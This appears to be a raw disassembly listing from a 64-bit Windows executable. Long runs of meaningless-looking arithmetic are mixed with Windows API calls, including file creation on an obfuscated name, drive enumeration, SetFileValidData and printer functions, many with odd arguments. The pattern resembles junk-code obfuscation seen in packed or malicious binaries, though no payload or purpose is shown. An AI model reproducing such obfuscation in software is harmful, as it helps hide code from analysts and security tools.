mov rcx, qword [rsp + 0xb3d8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1bac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bdc], ax
movzx eax, byte [rsp + 0x3a5]
movzx ecx, byte [rsp + 0x3a2]
sub eax, ecx
mov byte [0x14017703c], al
movsx eax, word [0x1401773b8]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11a4], ax
movzx eax, word [rsp + 0x1bc4]
movzx ecx, word [rsp + 0x1ba4]
sub eax, ecx
mov word [rsp + 0xb38], ax
movzx eax, word [rsp + 0xaec]
movzx ecx, word [0x1401773c0]
add eax, ecx
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2b8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x58c4]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14001b3f5
mov rax, qword [0x1401773b0]
mov qword [rsp + 0xb5e0], rax
mov rax, qword [rsp + 0xb330]
mov ecx, dword [rsp + 0x5904]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58ec], eax
lea rax, [rsp + 0x5950]
mov qword [rsp + 0xb5e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1288]
movzx ecx, word [0x1401773c0]
shl eax, cl
mov word [rsp + 0xb38], ax
movsx eax, word [rsp + 0x11a4]
movsx ecx, word [rsp + 0x1ba0]
xor eax, ecx
mov word [rsp + 0x1be0], ax
mov rcx, qword [rsp + 0xb4e0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5970], eax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x3a7]
or eax, ecx
mov byte [0x14017703d], al
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov qword [rsp + 0xb5f0], rax
mov rax, qword [rsp + 0xb0f0]
mov rcx, qword [rsp + 0xb5d0]
mov qword [rsp + 0xb5f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb498]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xac18], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b94], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5970], eax
jmp 0x14001b4e0
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0xb400]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14001b4e0
mov edx, 5
mov rcx, qword [rsp + 0xb600]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x5918], eax
movsx eax, byte [rsp + 0x3a4]
movsx ecx, byte [rsp + 0x21b]
add eax, ecx
mov byte [rsp + 0x3a6], al
mov rax, qword [rsp + 0xb1c8]
mov rcx, qword [rsp + 0xb3f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x96e8], rax
mov rax, qword [rsp + 0xb420]
mov rcx, qword [rsp + 0xb5e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x536c], eax
mov r8, qword [rsp + 0xb450]
mov rdx, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0xb168]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x5984], eax
mov rax, qword [rsp + 0xb2b8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xb2b8]
mov edx, dword [rax]
mov rcx, qword [rsp + 0xb5d8]
call fcn.14015b1f0
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb330]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x57c8], eax
lea rax, [rsp + 0x1bd8]
mov qword [0x140183b10], rax
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x3a9], al
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1bb0]
sub eax, ecx
mov word [rsp + 0x1bf8], ax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov word [rsp + 0x1c14], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x39c], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.qKsBmDv9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb608], rax
mov eax, dword [rsp + 0x492c]
mov ecx, dword [rsp + 0x4b3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x522c], eax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58b0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb330]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0xb5f0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb368]
mov rdx, qword [rsp + 0xb500]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x14001b6d0
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb518]
shr rax, cl
mov qword [rsp + 0x96e8], rax
mov rax, qword [rsp + 0xb568]
mov qword [rsp + 0xb610], rax
movzx eax, byte [rsp + 0x3a0]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017703c], al
mov rcx, qword [rsp + 0xb1c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [0x140183b18]
movsx ecx, word [rsp + 0x1ba8]
and eax, ecx
mov word [rsp + 0x1bd8], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov word [rsp + 0x1c18], ax
movsx eax, byte [rsp + 0x39d]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a6], al
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb610]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb0f0], rax
mov rax, qword [rsp + 0xb330]
mov ecx, dword [rsp + 0x5980]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4de0], eax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov qword [rsp + 0xb618], rax
mov edx, 0x2f370
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5914], eax
movsx eax, word [rsp + 0x1bf8]
movsx ecx, word [rsp + 0xfec]
add eax, ecx
mov word [rsp + 0x1bd8], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov word [0x140183b08], ax
movzx eax, byte [rsp + 0x3a8]
movzx ecx, byte [rsp + 0x3a2]
add eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0xb4d0]
mov qword [rsp + 0xb620], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb628], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5804], eax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x5834]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140159ecf
mov rax, qword [rsp + 0xb490]
mov rcx, qword [0x140177398]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb5d0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x3a4]
mov byte [rsp + 0x3aa], al
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1be0], ax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x39b]
add eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x4a48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4c8c], eax
mov eax, dword [rsp + 0x5940]
mov ecx, dword [0x140177394]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov qword [rsp + 0xb630], rax
movzx eax, word [rsp + 0x1c18]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bd0], ax
movzx eax, byte [0x14017703d]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [reloc.SHELL32.dll_PathMakeUniqueName], al
movzx eax, word [rsp + 0x1ba0]
mov word [rsp + 0x1c1c], ax
movzx eax, word [rsp + 0x1288]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c14], ax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xb270]
mov qword [rsp + 0xb638], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb638]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb408]
mov rdx, qword [rsp + 0xb440]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x14001baab
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb2b0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0xb5d0]
mov rcx, qword [rsp + 0xb350]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb250], rax
mov dword [rsp + 0x28], 0x76
lea rax, [rsp + 0xb150]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb640]
mov r8d, 0x5e
mov edx, 0xa1
mov rcx, qword [rsp + 0xb648]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x5968], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xb5e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5964], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
movsx eax, word [rsp + 0x1bf8]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140177038], al
movsx eax, byte [0x140183b40]
movsx ecx, byte [rsp + 0x39f]
sub eax, ecx
mov byte [rsp + 0x3aa], al
movzx eax, word [rsp + 0x1b20]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
lea rcx, [rsp + 0xb2f0]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0xb5d0]
mov rax, qword [rax]
mov rcx, qword [0x140183b30]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
jmp 0x14001bc2e
movzx eax, byte [rsp + 0x3a9]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5894]
shr eax, cl
mov rcx, qword [rsp + 0xb330]
mov edx, dword [rsp + 0x58ec]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
jb 0x14001bc12
mov rax, qword [rsp + 0xb5e8]
mov rcx, qword [rsp + 0xb2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x49b0], eax
mov r9d, 0x182e
xor r8d, r8d
lea rdx, [rsp + 0xb448]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x58c0], eax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xb518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb5a8], rax
mov eax, dword [rsp + 0x58c4]
mov dword [rsp + 0x5988], eax
movzx eax, word [rsp + 0x1c18]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c14], ax
lea rax, [rsp + 0x1c1c]
mov qword [0x140183b00], rax
mov rax, qword [rsp + 0xb360]
mov rcx, qword [rsp + 0xb568]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb5d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb258]
movzx eax, word [rax]
mov word [rsp + 0x1c20], ax
movzx ecx, word [rsp + 0x1bc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1b9c], ax
movzx eax, byte [0x14017703c]
movzx ecx, byte [rsp + 0x3a1]
sub eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0xb488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x522c], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov eax, dword [rsp + 0x4af4]
mov dword [rsp + 0x598c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb650], rax
lea rcx, [rsp + 0x194e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a4], al
mov rax, qword [rsp + 0xb400]
movzx eax, word [rax]
mov word [rsp + 0x1c24], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401773c4], ax
movzx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5960], eax
mov rax, qword [rsp + 0xb3a0]
movzx ecx, al
mov rax, qword [rsp + 0xb2b0]
shl rax, cl
mov qword [rsp + 0xaf98], rax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb580]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb630]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov dword [rsp + 0x5990], eax
mov rax, qword [rsp + 0xb330]
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5938], eax
mov rax, qword [rsp + 0xb150]
movzx eax, word [rax]
mov word [rsp + 0x1c28], ax
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [rsp + 0x3a7]
add eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x39c]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x39b]
sub ecx, edx
cmp eax, ecx
jg 0x140159d5c
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x5894]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb330]
mov dword [rcx], eax
lea rcx, [rsp + 0x187e8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov byte [rsp + 0x3ab], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x58c0], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba4]
xor eax, ecx
mov word [0x1401773c0], ax
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1be0]
sar eax, cl
mov word [rsp + 0x1bb0], ax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0xb658], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0xee]
movzx edx, byte [rsp + 0x3a3]
add ecx, edx
cmp eax, ecx
jg 0x14001c00b
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c18], ax
mov eax, dword [rsp + 0x492c]
mov ecx, dword [rsp + 0x5990]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb488]
mov eax, dword [rax]
mov ecx, dword [0x140183b44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov edx, dword [rsp + 0x536c]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x14001bfc4
movzx eax, word [rsp + 0xaec]
movzx ecx, word [rsp + 0x1bcc]
or eax, ecx
mov word [0x1401773c8], ax
mov rax, qword [rsp + 0xb360]
mov rcx, qword [rsp + 0xb180]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb138]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb620], rax
lea rax, [rsp + 0xb580]
mov qword [rsp + 0xb670], rax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0xb658]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3a8], al
mov rax, qword [rsp + 0xb140]
movzx eax, byte [rax]
mov byte [rsp + 0x3ac], al
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4de0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0xb5e8]
mov rcx, qword [rsp + 0xb2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a2c], eax
movzx eax, word [rsp + 0x1c08]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xbfc]
sub ecx, edx
cmp eax, ecx
jge 0x14001c24b
movzx eax, word [rsp + 0x1c14]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401773c0], ax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xa240]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb348], rax
lea rax, [rsp + 0xb5d0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x39d]
mov qword [rsp + 0x20], rax
mov r9d, ILRemoveLastID
lea r8, [rsp + 0xb4e8]
mov edx, 0xa9
mov rcx, qword [rsp + 0xb378]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x58c8], eax
mov eax, dword [rsp + 0x53f8]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0xb488]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x492c]
mov rax, qword [rsp + 0xb160]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rax]
call fcn.14015b410
mov rax, qword [rsp + 0xb5d0]
mov rcx, qword [rsp + 0xb498]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb500], rax
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
sub eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xb618]
mov rcx, qword [rsp + 0xa018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov r9d, 0x91
lea r8, [rsp + 0xb248]
mov edx, 0xa1
mov rcx, qword [rsp + 0xb4b8]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x8a00], eax
mov rax, qword [rsp + 0xb510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39f], al
mov rax, qword [rsp + 0xb4d0]
mov rcx, qword [rsp + 0xb610]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb398], rax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3a5], al
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb270]
mov qword [rsp + 0x18748], rcx
movzx ecx, al
mov rax, qword [rsp + 0x18748]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb088], rax
mov rax, qword [rsp + 0xb488]
mov eax, dword [rax]
mov ecx, dword [0x1401773a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x58b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x58d0], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb458]
mov word [rcx], ax
mov dword [rsp + 0x20], 0xc1
lea r9, [rsp + 0xb4e8]
mov r8d, 0x6b
lea rdx, [rsp + 0xb0f0]
mov rcx, qword [rsp + 0xb318]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x57d8], eax
mov rax, qword [rsp + 0xb1b8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x5894]
call fcn.14015b480
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140177390], ax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401773a4], ax
lea rax, [rsp + 0x18728]
mov qword [rsp + 0x20], rax
mov r9d, 0xdd
lea r8, [rsp + 0xb240]
mov edx, 0x3a
mov rcx, qword [rsp + 0xb3e8]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x5a98], eax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb498]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [0x140177398]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb398], rax
mov rcx, qword [rsp + 0xb6e8]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140183b28], ax
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4d0], rax
movzx eax, word [rsp + 0xfe8]
movzx ecx, word [rsp + 0x1b94]
add eax, ecx
mov rcx, qword [rsp + 0xb480]
mov word [rcx], ax
mov r8d, 1
lea rdx, [rsp + 0xb318]
lea rcx, [rsp + 0xb1a8]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x18750], rax
movzx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a8], al
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0xfec]
add eax, ecx
mov word [rsp + 0x1be0], ax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x536c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
jmp 0x14015a288
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
or eax, ecx
movsx ecx, byte [rsp + 0x264]
mov dword [rsp + 0x8a68], ecx
movsx edx, byte [rsp + 0x3a4]
movzx ecx, dl
mov edx, dword [rsp + 0x8a68]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14015a288
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0xb440]
mov qword [rsp + 0x18758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x18758]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9f48], rax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x5904]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5814], eax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x4a48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x492c], eax
mov dword [rsp + 0x20], 0xc1
lea r9, [rsp + 0xb2c0]
mov r8d, 0x6b
mov edx, 0xe9
mov rcx, qword [rsp + 0xb238]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x57f0], eax
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bd8], ax
mov r8d, 1
lea rdx, [rsp + 0xb218]
lea rcx, [rsp + 0x18760]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x18728], rax
mov rax, qword [rsp + 0xb1b8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xb2b8]
mov edx, dword [rax]
mov rcx, qword [rsp + 0xafe0]
call fcn.14015b1f0
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [0x140183b44]
mov r8d, dword [rsp + 0x53f8]
mov edx, dword [rsp + 0x4a48]
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rax]
call fcn.14015b270
lea rax, [rsp + 0xb158]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x6d
mov r9d, 1
mov r8d, 0x20
mov edx, 0x45
mov rcx, qword [rsp + 0xb370]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x58d0], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb200]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [rsp + 0x3a0]
sub eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
add eax, ecx
